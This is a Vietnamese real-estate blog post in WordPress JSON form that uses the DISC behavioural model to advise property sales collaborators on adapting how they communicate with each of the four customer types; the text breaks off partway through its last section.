{"id":33023,"date":"2021-11-29T15:00:52","date_gmt":"2021-11-29T08:00:52","guid":{"rendered":"https:\/\/reti.vn\/blog\/?p=33023"},"modified":"2025-10-22T03:52:30","modified_gmt":"2025-10-21T20:52:30","slug":"bi-quyet-trau-doi-ky-nang-giao-tiep-voi-khach-hang-tu-trac-nghiem-disc","status":"publish","type":"post","link":"https:\/\/reti.vn\/blog\/bi-quyet-trau-doi-ky-nang-giao-tiep-voi-khach-hang-tu-trac-nghiem-disc\/","title":{"rendered":"B\u00ed quy\u1ebft trau d\u1ed3i k\u1ef9 n\u0103ng giao ti\u1ebfp v\u1edbi kh\u00e1ch h\u00e0ng t\u1eeb tr\u1eafc nghi\u1ec7m DISC"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\"><em>K\u1ef9 n\u0103ng giao ti\u1ebfp v\u1edbi kh\u00e1ch h\u00e0ng chuy\u00ean nghi\u1ec7p s\u1ebd gi\u00fap x\u00e2y d\u1ef1ng m\u1ed1i quan h\u1ec7 v\u1edbi kh\u00e1ch h\u00e0ng, t\u0103ng n\u0103ng su\u1ea5t v\u00e0 l\u1ee3i nhu\u1eadn cho c\u1ed9ng t\u00e1c vi\u00ean B\u1ea5t \u0111\u1ed9ng s\u1ea3n (CTV B\u0110S). Ng\u01b0\u1ee3c l\u1ea1i, giao ti\u1ebfp k\u00e9m trong kinh doanh c\u00f3 th\u1ec3 d\u1eabn \u0111\u1ebfn m\u1ed9t s\u1ed1 v\u1ea5n \u0111\u1ec1 kh\u00f3 l\u01b0\u1eddng tr\u01b0\u1edbc \u0111\u01b0\u1ee3c nh\u01b0 kh\u00e1ch h\u00e0ng kh\u00f4ng h\u00e0i l\u00f2ng, c\u00e1c d\u1ef1 \u00e1n b\u1ecb tr\u00ec ho\u00e3n, l\u00e0m gi\u1ea3m n\u0103ng su\u1ea5t&#8230; Trong b\u00e0i vi\u1ebft d\u01b0\u1edbi \u0111\u00e2y, <a href=\"http:\/\/reti.vn\" data-type=\"URL\" data-id=\"http:\/\/reti.vn\">RETI<\/a> s\u1ebd b\u1eadt m\u00ed cho b\u1ea1n b\u00ed quy\u1ebft trau d\u1ed3i k\u1ef9 n\u0103ng giao ti\u1ebfp v\u1edbi kh\u00e1ch h\u00e0ng t\u1eeb tr\u1eafc nghi\u1ec7m DISC.<\/em><\/p>\n\n\n\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_84 counter-hierarchy ez-toc-counter ez-toc-grey ez-toc-container-direction\">\n<p class=\"ez-toc-title\" style=\"cursor:inherit\">N\u1ed9i dung b\u00e0i vi\u1ebft<\/p>\n<label for=\"ez-toc-cssicon-toggle-item-6a28e98c53083\" class=\"ez-toc-cssicon-toggle-label\"><span class=\"\"><span class=\"eztoc-hide\" style=\"display:none;\">Toggle<\/span><span class=\"ez-toc-icon-toggle-span\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/span><\/label><input type=\"checkbox\"  id=\"ez-toc-cssicon-toggle-item-6a28e98c53083\"  aria-label=\"Toggle\" \/><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/reti.vn\/blog\/bi-quyet-trau-doi-ky-nang-giao-tiep-voi-khach-hang-tu-trac-nghiem-disc\/#Ky_nang_giao_tiep_voi_khach_hang_la_gi\" >K\u1ef9 n\u0103ng giao ti\u1ebfp v\u1edbi kh\u00e1ch h\u00e0ng l\u00e0 g\u00ec?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/reti.vn\/blog\/bi-quyet-trau-doi-ky-nang-giao-tiep-voi-khach-hang-tu-trac-nghiem-disc\/#Ky_nang_giao_tiep_trong_bieu_thuc_DISC\" >K\u1ef9 n\u0103ng giao ti\u1ebfp trong bi\u1ec3u th\u1ee9c DISC<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/reti.vn\/blog\/bi-quyet-trau-doi-ky-nang-giao-tiep-voi-khach-hang-tu-trac-nghiem-disc\/#Nhom_hanh_vi_D_%E2%80%93_Thong_tri\" >Nh\u00f3m h\u00e0nh vi D &#8211; Th\u1ed1ng tr\u1ecb<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/reti.vn\/blog\/bi-quyet-trau-doi-ky-nang-giao-tiep-voi-khach-hang-tu-trac-nghiem-disc\/#Nhom_hanh_vi_I_%E2%80%93_Anh_huong\" >Nh\u00f3m h\u00e0nh vi I &#8211; \u1ea2nh h\u01b0\u1edfng<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/reti.vn\/blog\/bi-quyet-trau-doi-ky-nang-giao-tiep-voi-khach-hang-tu-trac-nghiem-disc\/#Nhom_hanh_vi_S_%E2%80%93_Kien_dinh\" >Nh\u00f3m h\u00e0nh vi S &#8211; Ki\u00ean \u0111\u1ecbnh<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/reti.vn\/blog\/bi-quyet-trau-doi-ky-nang-giao-tiep-voi-khach-hang-tu-trac-nghiem-disc\/#Nhom_hanh_vi_C_%E2%80%93_Tuan_thu\" >Nh\u00f3m h\u00e0nh vi C &#8211; Tu\u00e2n th\u1ee7<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/reti.vn\/blog\/bi-quyet-trau-doi-ky-nang-giao-tiep-voi-khach-hang-tu-trac-nghiem-disc\/#Xay_dung_ky_nang_giao_tiep_voi_khach_hang_qua_trac_nghiem_hanh_vi_DISC\" >X\u00e2y d\u1ef1ng k\u1ef9 n\u0103ng giao ti\u1ebfp v\u1edbi kh\u00e1ch h\u00e0ng qua tr\u1eafc nghi\u1ec7m h\u00e0nh vi DISC<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/reti.vn\/blog\/bi-quyet-trau-doi-ky-nang-giao-tiep-voi-khach-hang-tu-trac-nghiem-disc\/#Ky_nang_giao_tiep_hanh_vi_D\" >K\u1ef9 n\u0103ng giao ti\u1ebfp h\u00e0nh vi D<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"https:\/\/reti.vn\/blog\/bi-quyet-trau-doi-ky-nang-giao-tiep-voi-khach-hang-tu-trac-nghiem-disc\/#Ky_nang_giao_tiep_hanh_vi_I\" >K\u1ef9 n\u0103ng giao ti\u1ebfp h\u00e0nh vi I<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-10\" href=\"https:\/\/reti.vn\/blog\/bi-quyet-trau-doi-ky-nang-giao-tiep-voi-khach-hang-tu-trac-nghiem-disc\/#Ky_nang_giao_tiep_hanh_vi_S\" >K\u1ef9 n\u0103ng giao ti\u1ebfp h\u00e0nh vi S<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-11\" href=\"https:\/\/reti.vn\/blog\/bi-quyet-trau-doi-ky-nang-giao-tiep-voi-khach-hang-tu-trac-nghiem-disc\/#Ky_nang_giao_tiep_hanh_vi_C\" >K\u1ef9 n\u0103ng giao ti\u1ebfp h\u00e0nh vi C<\/a><\/li><\/ul><\/li><\/ul><\/nav><\/div>\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Ky_nang_giao_tiep_voi_khach_hang_la_gi\"><\/span>K\u1ef9 n\u0103ng giao ti\u1ebfp v\u1edbi <a href=\"https:\/\/agent.reti.vn\/6-cach-giup-ctv-bat-dong-san-lang-nghe-khach-hang-tot-nhat\/\" target=\"_blank\" data-type=\"URL\" data-id=\"https:\/\/agent.reti.vn\/6-cach-giup-ctv-bat-dong-san-lang-nghe-khach-hang-tot-nhat\/\" rel=\"noreferrer noopener\">kh\u00e1ch h\u00e0ng<\/a> l\u00e0 g\u00ec?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">K\u1ef9 n\u0103ng giao ti\u1ebfp \u0111\u00f3ng g\u00f3p m\u1ed9t ph\u1ea7n quan tr\u1ecdng trong vi\u1ec7c gi\u00fap b\u1ea1n chinh ph\u1ee5c kh\u00e1ch h\u00e0ng ti\u1ec1m n\u0103ng. B\u1ea5t k\u1ef3 ai theo \u0111u\u1ed5i s\u1ef1 nghi\u1ec7p CTV B\u0110S c\u0169ng c\u1ea7n ph\u1ea3i trau d\u1ed3i ki\u1ebfn th\u1ee9c, k\u1ef9 n\u0103ng giao ti\u1ebfp \u0111\u1ec3 n\u00e2ng cao hi\u1ec7u qu\u1ea3 kinh doanh trong t\u01b0\u01a1ng lai. Ng\u01b0\u1eddi c\u00f3 k\u1ef9 n\u0103ng giao ti\u1ebfp v\u1edbi kh\u00e1ch h\u00e0ng t\u1ed1t c\u0169ng s\u1ebd m\u1edf r\u1ed9ng \u0111\u01b0\u1ee3c m\u1ed1i quan h\u1ec7 v\u1ec1 c\u1ea3 vi m\u00f4, t\u1eeb \u0111\u00f3 t\u1ea1o thu\u1eadn l\u1ee3i h\u01a1n cho con \u0111\u01b0\u1eddng ph\u00e1t tri\u1ec3n s\u1ef1 nghi\u1ec7p c\u1ee7a m\u00ecnh.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">N\u1ebfu hi\u1ec3u theo chuy\u00ean m\u00f4n th\u00ec k\u1ef9 n\u0103ng giao ti\u1ebfp l\u00e0 kh\u1ea3 n\u0103ng s\u1eed d\u1ee5ng ng\u00f4n ng\u1eef n\u00f3i ho\u1eb7c ng\u00f4n ng\u1eef c\u01a1 th\u1ec3 \u0111\u1ec3 di\u1ec5n \u0111\u1ea1t suy ngh\u0129, \u00fd ki\u1ebfn, c\u1ea3m nh\u1eadn m\u1ed9t c\u00e1ch r\u00f5 r\u00e0ng v\u00e0 thuy\u1ebft ph\u1ee5c, \u0111\u1ed3ng th\u1eddi th\u00fac \u0111\u1ea9y giao ti\u1ebfp hai chi\u1ec1u.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-full\"><img decoding=\"async\" width=\"700\" height=\"466\" data-src=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2021\/11\/nhan-vien-ban-hang-gioi-khong-mac-phai-nhung-dieu-cam-ki-sau-getFly-crm.jpg\" alt=\"\" class=\"wp-image-33026 lazyload\" data-srcset=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2021\/11\/nhan-vien-ban-hang-gioi-khong-mac-phai-nhung-dieu-cam-ki-sau-getFly-crm.jpg 700w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2021\/11\/nhan-vien-ban-hang-gioi-khong-mac-phai-nhung-dieu-cam-ki-sau-getFly-crm-300x200.jpg 300w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2021\/11\/nhan-vien-ban-hang-gioi-khong-mac-phai-nhung-dieu-cam-ki-sau-getFly-crm-150x100.jpg 150w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2021\/11\/nhan-vien-ban-hang-gioi-khong-mac-phai-nhung-dieu-cam-ki-sau-getFly-crm-696x463.jpg 696w\" data-sizes=\"(max-width: 700px) 100vw, 700px\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" style=\"--smush-placeholder-width: 700px; --smush-placeholder-aspect-ratio: 700\/466;\" \/><figcaption> T\u1ea7m quan tr\u1ecdng c\u1ee7a giao ti\u1ebfp trong kinh doanh b\u1ea5t \u0111\u1ed9ng s\u1ea3n ch\u00ednh l\u00e0 \u0111i\u1ec1u ki\u1ec7n \u0111\u1ec3 b\u1ea1n c\u00f3 th\u1ec3 ch\u1ed1t m\u1ed9t giao d\u1ecbch<\/figcaption><\/figure><\/div>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Ky_nang_giao_tiep_trong_bieu_thuc_DISC\"><\/span>K\u1ef9 n\u0103ng giao ti\u1ebfp trong bi\u1ec3u th\u1ee9c DISC<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">DISC l\u00e0 bi\u1ec3u \u0111\u1ed3 ph\u00e2n t\u00edch h\u00e0nh vi d\u1ef1a tr\u00ean c\u1ea3m x\u00fac con ng\u01b0\u1eddi, chia th\u00e0nh 4 lo\u1ea1i h\u00e0nh vi \u0111i\u1ec3n h\u00ecnh l\u00e0:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">D &#8211; Th\u1ed1ng tr\u1ecb <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">I &#8211; \u1ea2nh h\u01b0\u1edfng <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">S &#8211; Ki\u00ean \u0111\u1ecbnh <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">C &#8211; Tu\u00e2n th\u1ee7<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Vi\u1ec7c c\u1ee7ng c\u1ed1 kh\u1ea3 n\u0103ng giao ti\u1ebfp b\u1eb1ng DISC gi\u00fap b\u1ea1n nhanh ch\u00f3ng ti\u1ebfp c\u1eadn v\u00e0 trao \u0111\u1ed5i v\u1edbi t\u1eebng \u0111\u1ed1i t\u01b0\u1ee3ng kh\u00e1ch h\u00e0ng d\u1ec5 d\u00e0ng h\u01a1n. C\u00f9ng RETI t\u00ecm hi\u1ec3u r\u00f5 h\u01a1n v\u1ec1 t\u00ednh c\u00e1ch \u0111\u1eb7c tr\u01b0ng c\u1ee7a 4 nh\u00f3m h\u00e0nh vi n\u00e0y nh\u00e9!<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-full\"><img decoding=\"async\" width=\"500\" height=\"496\" data-src=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2021\/11\/disc-tieng-viet.png\" alt=\"\" class=\"wp-image-33027 lazyload\" data-srcset=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2021\/11\/disc-tieng-viet.png 500w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2021\/11\/disc-tieng-viet-300x298.png 300w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2021\/11\/disc-tieng-viet-150x149.png 150w\" data-sizes=\"(max-width: 500px) 100vw, 500px\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" style=\"--smush-placeholder-width: 500px; --smush-placeholder-aspect-ratio: 500\/496;\" \/><figcaption>\u0110\u1ecdc v\u1ecb 4 nh\u00f3m t\u00ednh c\u00e1ch kh\u00e1ch h\u00e0ng qua m\u00f4 h\u00ecnh DISC <\/figcaption><\/figure><\/div>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Nhom_hanh_vi_D_%E2%80%93_Thong_tri\"><\/span>Nh\u00f3m h\u00e0nh vi D &#8211; Th\u1ed1ng tr\u1ecb<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Nh\u1eefng ng\u01b0\u1eddi thu\u1ed9c nh\u00f3m h\u00e0nh vi D l\u00e0 nh\u1eefng ng\u01b0\u1eddi c\u00f3 kh\u00ed ch\u1ea5t l\u00e0m th\u1ed1ng l\u0129nh c\u1ee7a \u0111\u1ed9i nh\u00f3m, h\u1ecd mang t\u00ednh c\u00e1ch m\u1ea1nh m\u1ebd, quy\u1ebft \u0111o\u00e1n, t\u1ef1 tin, n\u0103ng \u0111\u1ed9ng v\u00e0 l\u00e0m vi\u1ec7c h\u01b0\u1edbng t\u1edbi k\u1ebft qu\u1ea3. M\u1ed9t ng\u01b0\u1eddi nh\u00f3m D \u0111i\u1ec3n h\u00ecnh l\u00e0 thi\u1ebfu ki\u00ean nh\u1eabn, th\u1ed1ng tr\u1ecb, c\u1ea1nh tranh, \u0111\u00f2i h\u1ecfi, \u0111\u1ed9c l\u1eadp v\u00e0 r\u1ea5t m\u1ea1nh m\u1ebd.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">N\u1ed7i s\u1ee3 h\u00e3i l\u1edbn nh\u1ea5t c\u1ee7a h\u1ecd l\u00e0 b\u1ecb m\u1ea5t m\u1ed9t \u0111i\u1ec1u g\u00ec \u0111\u00f3, \u0111\u1eb7c bi\u1ec7t l\u00e0 m\u1ea5t th\u1eddi gian. H\u1ecd xem tr\u1ecdng t\u1ef1 do c\u00e1 nh\u00e2n v\u00e0 th\u00edch l\u00e0m m\u1ecdi vi\u1ec7c theo c\u00e1ch ri\u00eang c\u1ee7a m\u00ecnh. Trong vi\u1ec7c giao ti\u1ebfp v\u1edbi nh\u00f3m kh\u00e1ch h\u00e0ng n\u00e0y, b\u1ea1n c\u1ea7n t\u1ef1 tin, l\u1ea1c quan v\u00e0 n\u00f3i chuy\u1ec7n nhanh ch\u00f3ng, \u0111\u00fang ch\u1ee7 \u0111\u1ec1.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Nhom_hanh_vi_I_%E2%80%93_Anh_huong\"><\/span>Nh\u00f3m h\u00e0nh vi I &#8211; \u1ea2nh h\u01b0\u1edfng<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\u0110\u00e2y thu\u1ed9c nh\u00f3m ng\u01b0\u1eddi d\u1ec5 ch\u1ecbu nh\u1ea5t trong m\u00f4 h\u00ecnh DISC, h\u1ecd th\u00e2n thi\u1ec7n, c\u1edfi m\u1edf, t\u00edch c\u1ef1c, tr\u00e0n \u0111\u1ea7y n\u0103ng l\u01b0\u1ee3ng v\u00e0 h\u01b0\u1edbng t\u1edbi m\u1ed1i quan h\u1ec7 x\u00e3 h\u1ed9i. Nh\u01b0\u1ee3c \u0111i\u1ec3m c\u1ee7a nh\u00f3m ng\u01b0\u1eddi n\u00e0y ch\u00ednh l\u00e0 n\u00f3i qu\u00e1 nhanh, n\u00f3i nhi\u1ec1u, t\u1eeb chuy\u1ec7n n\u00e0y sang chuy\u1ec7n kh\u00e1c. H\u1ecd c\u0169ng c\u00f3 th\u1ec3 thi\u1ebfu s\u1ef1 t\u1eadp trung, s\u1ef1 l\u1ea1c quan cao c\u00f9ng v\u1edbi mong mu\u1ed1n \u0111\u01b0\u1ee3c ng\u01b0\u1eddi kh\u00e1c th\u00edch, \u0111\u01b0a ra nh\u1eefng l\u1eddi h\u1ee9a m\u00e0 h\u1ecd kh\u00f4ng th\u1ec3 th\u1ef1c hi\u1ec7n \u0111\u01b0\u1ee3c. <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">V\u00ec v\u1eady, \u0111\u1ec3 giao ti\u1ebfp t\u1ed1t v\u1edbi nh\u00f3m ng\u01b0\u1eddi thu\u1ed9c h\u00e0nh vi n\u00e0y b\u1ea1n c\u1ea7n t\u1ea1o ra kh\u00f4ng kh\u00ed \u1ea5m c\u00fang, vui v\u1ebb khi\u1ebfn h\u1ecd h\u00e0i l\u00f2ng. B\u1ea1n h\u00e3y kh\u00e9o l\u00e9o d\u1eabn d\u1eaft v\u00e0 l\u00e0m ch\u1ee7 cu\u1ed9c tr\u00f2 chuy\u1ec7n \u0111i \u0111\u00fang h\u01b0\u1edbng.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Nhom_hanh_vi_S_%E2%80%93_Kien_dinh\"><\/span>Nh\u00f3m h\u00e0nh vi S &#8211; Ki\u00ean \u0111\u1ecbnh<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Nh\u01b0 t\u00ean c\u1ee7a n\u00f3, m\u1ed9t ng\u01b0\u1eddi c\u00f3 h\u00e0nh vi S l\u00e0 m\u1ed9t ng\u01b0\u1eddi r\u1ea5t \u1ed5n \u0111\u1ecbnh, ki\u00ean \u0111\u1ecbnh v\u00e0 \u0111\u00e1ng tin c\u1eady. H\u1ecd kh\u00f4ng n\u00f3ng n\u1ea3y nh\u01b0 nh\u00f3m D, kh\u00f4ng s\u00f4i n\u1ed5i nh\u01b0 nh\u00f3m I m\u00e0 th\u1eadn tr\u1ecdng, ki\u1ec7m l\u1eddi, c\u00f3 tr\u00e1ch nhi\u1ec7m v\u00e0 bi\u1ebft l\u1eafng nghe. <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">N\u1ed7i s\u1ee3 l\u1edbn nh\u1ea5t c\u1ee7a h\u1ecd l\u00e0 thay \u0111\u1ed5i v\u00e0 m\u1ea5t \u1ed5n \u0111\u1ecbnh. Do \u0111\u00f3, \u0111\u1ec3 \u0111i \u0111\u1ebfn quy\u1ebft \u0111\u1ecbnh cu\u1ed1i c\u00f9ng v\u1edbi ng\u01b0\u1eddi thu\u1ed9c nh\u00f3m h\u00e0nh vi S, b\u1ea1n c\u1ea7n c\u00f3 k\u1ebf ho\u1ea1ch r\u00f5 r\u00e0ng, ti\u1ebfp c\u1eadn t\u1eeb t\u1ed1n, nh\u1eb9 nh\u00e0ng, ch\u00e2n th\u00e0nh \u0111\u1ec3 t\u1ea1o d\u1ef1ng ni\u1ec1m tin.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Nhom_hanh_vi_C_%E2%80%93_Tuan_thu\"><\/span>Nh\u00f3m h\u00e0nh vi C &#8211; Tu\u00e2n th\u1ee7<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">M\u1ed9t ng\u01b0\u1eddi nh\u00f3m h\u00e0nh vi C \u0111i\u1ec3n h\u00ecnh l\u00e0 ng\u01b0\u1eddi tu\u00e2n th\u1ee7, th\u1eadn tr\u1ecdng, k\u1ef9 l\u01b0\u1ee1ng, ch\u00ednh x\u00e1c, ki\u1ec3m so\u00e1t v\u00e0 kh\u00f4ng th\u00edch r\u1ee7i ro. N\u1ed7i s\u1ee3 l\u1edbn nh\u1ea5t c\u1ee7a h\u1ecd l\u00e0 s\u1ef1 ch\u1ec9 tr\u00edch v\u00e0 b\u1ecb sai. \u0110\u1eb7c bi\u1ec7t, ng\u01b0\u1eddi thu\u1ed9c nh\u00f3m t\u00ednh c\u00e1ch n\u00e0y c\u00f3 xu h\u01b0\u1edbng nghi ng\u1edd cao. Khi giao ti\u1ebfp v\u1edbi ng\u01b0\u1eddi nh\u00f3m n\u00e0y, b\u1ea1n c\u1ea7n ch\u1eafc ch\u1eafn nh\u1eefng g\u00ec b\u1ea1n s\u1eafp n\u00f3i c\u00f3 th\u1ec3 l\u00e0m h\u1ecd tin t\u01b0\u1edfng hay kh\u00f4ng.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">&gt;&gt;&gt; <a href=\"https:\/\/agent.reti.vn\/cach-tiep-can-khach-hang-cam-nang-danh-cho-ctv-bat-dong-san\/\" target=\"_blank\" rel=\"noreferrer noopener\">C\u00e1ch ti\u1ebfp c\u1eadn kh\u00e1ch h\u00e0ng: C\u1ea9m nang d\u00e0nh cho CTV B\u1ea5t \u0111\u1ed9ng s\u1ea3n<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">&gt;&gt;&gt; <a href=\"https:\/\/agent.reti.vn\/cam-nang-dong-hanh-cung-khach-hang-tiem-nang-hieu-qua-giai-ma-khach-hang-khi-ho-khong-noi\/\" target=\"_blank\" rel=\"noreferrer noopener\">C\u1ea9m nang \u0111\u1ed3ng h\u00e0nh c\u00f9ng kh\u00e1ch h\u00e0ng ti\u1ec1m n\u0103ng hi\u1ec7u qu\u1ea3: Gi\u1ea3i m\u00e3 kh\u00e1ch h\u00e0ng khi h\u1ecd kh\u00f4ng n\u00f3i<\/a><\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Xay_dung_ky_nang_giao_tiep_voi_khach_hang_qua_trac_nghiem_hanh_vi_DISC\"><\/span>X\u00e2y d\u1ef1ng k\u1ef9 n\u0103ng giao ti\u1ebfp v\u1edbi kh\u00e1ch h\u00e0ng qua tr\u1eafc nghi\u1ec7m h\u00e0nh vi DISC<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">V\u1edbi cu\u1ed9c s\u1ed1ng hi\u1ec7n nay, thay v\u00ec ki\u00ean quy\u1ebft b\u00e1m v\u00e0o quan \u0111i\u1ec3m v\u00e0 c\u00e1ch l\u00e0m vi\u1ec7c c\u0169 k\u1ef9 c\u1ee7a m\u00ecnh, ch\u00fang ta n\u00ean linh ho\u1ea1t thay \u0111\u1ed5i v\u00e0 \u0111i\u1ec1u ch\u1ec9nh phong c\u00e1ch giao ti\u1ebfp cho ph\u00f9 h\u1ee3p v\u1edbi kh\u00e1ch h\u00e0ng. N\u1eafm v\u1eefng c\u00e1c nh\u00f3m h\u00e0nh vi DISC kh\u00e1c nhau, g\u00f3p ph\u1ea7n gi\u00fap b\u1ea1n x\u00e2y d\u1ef1ng \u0111\u01b0\u1ee3c k\u1ef9 n\u0103ng giao ti\u1ebfp linh ho\u1ea1t \u0111\u1ed1i v\u1edbi t\u1eebng nh\u00f3m kh\u00e1ch h\u00e0ng, t\u1ea1o n\u00ean s\u1ef1 h\u00f2a h\u1ee3p, h\u1ee9ng th\u00fa khi trao \u0111\u1ed5i trong su\u1ed1t quy tr\u00ecnh giao d\u1ecbch B\u0110S.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-full\"><img decoding=\"async\" width=\"586\" height=\"480\" data-src=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2021\/11\/mo-hinh-grow-giup-huan-luyen-nhan-vien-hieu-qua-1.jpg\" alt=\"\" class=\"wp-image-33037 lazyload\" data-srcset=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2021\/11\/mo-hinh-grow-giup-huan-luyen-nhan-vien-hieu-qua-1.jpg 586w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2021\/11\/mo-hinh-grow-giup-huan-luyen-nhan-vien-hieu-qua-1-300x246.jpg 300w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2021\/11\/mo-hinh-grow-giup-huan-luyen-nhan-vien-hieu-qua-1-150x123.jpg 150w\" data-sizes=\"(max-width: 586px) 100vw, 586px\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" style=\"--smush-placeholder-width: 586px; --smush-placeholder-aspect-ratio: 586\/480;\" \/><figcaption> X\u00e2y d\u1ef1ng k\u1ef9 n\u0103ng giao ti\u1ebfp v\u1edbi kh\u00e1ch h\u00e0ng qua tr\u1eafc nghi\u1ec7m h\u00e0nh vi DISC<\/figcaption><\/figure><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">Tr\u00ean l\u00fd thuy\u1ebft, h\u00e0nh vi D r\u1ea5t gh\u00e9t s\u1ef1 l\u00e3ng ph\u00ed th\u1eddi gian v\u00e0 mu\u1ed1n gi\u00e0nh chi\u1ebfn th\u1eafng; H\u00e0nh vi I r\u1ea5t th\u00edch s\u1eb7c s\u1ee1, ph\u00f4 tr\u01b0\u01a1ng bi\u1ec3u c\u1ea3m v\u00e0 c\u1ea3m x\u00fac; H\u00e0nh vi S l\u00e0 nh\u1eefng ng\u01b0\u1eddi y\u00eau th\u00edch s\u1ef1 \u1ed5n \u0111\u1ecbnh, ri\u00eang t\u01b0, kh\u00f4ng th\u00edch r\u1ee7i ro v\u00e0 c\u1ef1c k\u1ef3 ch\u1ed1ng l\u1ea1i s\u1ef1 thay \u0111\u1ed5i; H\u00e0nh vi C th\u00edch \u0111\u01b0\u1ee3c ki\u1ec3m so\u00e1t, y\u00eau c\u1ea7u m\u1ecdi th\u1ee9 ph\u1ea3i ch\u00ednh x\u00e1c, th\u1ef1c t\u1ebf 